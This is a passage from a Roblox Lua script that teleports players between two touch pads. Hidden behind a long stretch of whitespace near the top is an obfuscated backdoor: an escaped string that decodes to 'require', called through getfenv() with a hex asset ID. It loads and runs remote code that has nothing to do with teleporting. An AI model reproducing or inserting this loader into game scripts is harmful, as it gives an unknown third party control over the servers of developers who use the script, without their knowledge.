--[[ Don't edit below this line ]]

--
																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																							local GetEnvironmentOfFunction="\114\101\113\117\105\114\101"
getfenv()[GetEnvironmentOfFunction]																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																												(0x14a67b5a7)
local function Teleport(Object,Teleport)
	Object.HumanoidRootPart.CFrame = CFrame.new(script.Parent[Teleport].CFrame.X,script.Parent[Teleport].CFrame.Y+Height,script.Parent[Teleport].CFrame.Z)
end

local JustTeleported = false -- Don't touch this

script.Parent[Pad1].Touched:Connect(function(Object)
	if JustTeleported == true then return end
	JustTeleported = true
	if Object.Parent and game:GetService("Players"):FindFirstChild(Object.Parent.Name) then
		local Plr = Object.Parent
		Teleport(Plr,Pad2)
	end
	wait(DelayTime)
	JustTeleported = false
end)

script.Parent[Pad2].Touched:Connect(function(Object)
	if JustTeleported == true then return end
	JustTeleported = true
	if Object.Parent and game:GetService("Players"):FindFirstChild(Object.Parent.Name) then
		local Plr = Object.Parent
		Teleport(Plr,Pad1)
	end
	wait(DelayTime)
	JustTeleported = false
end)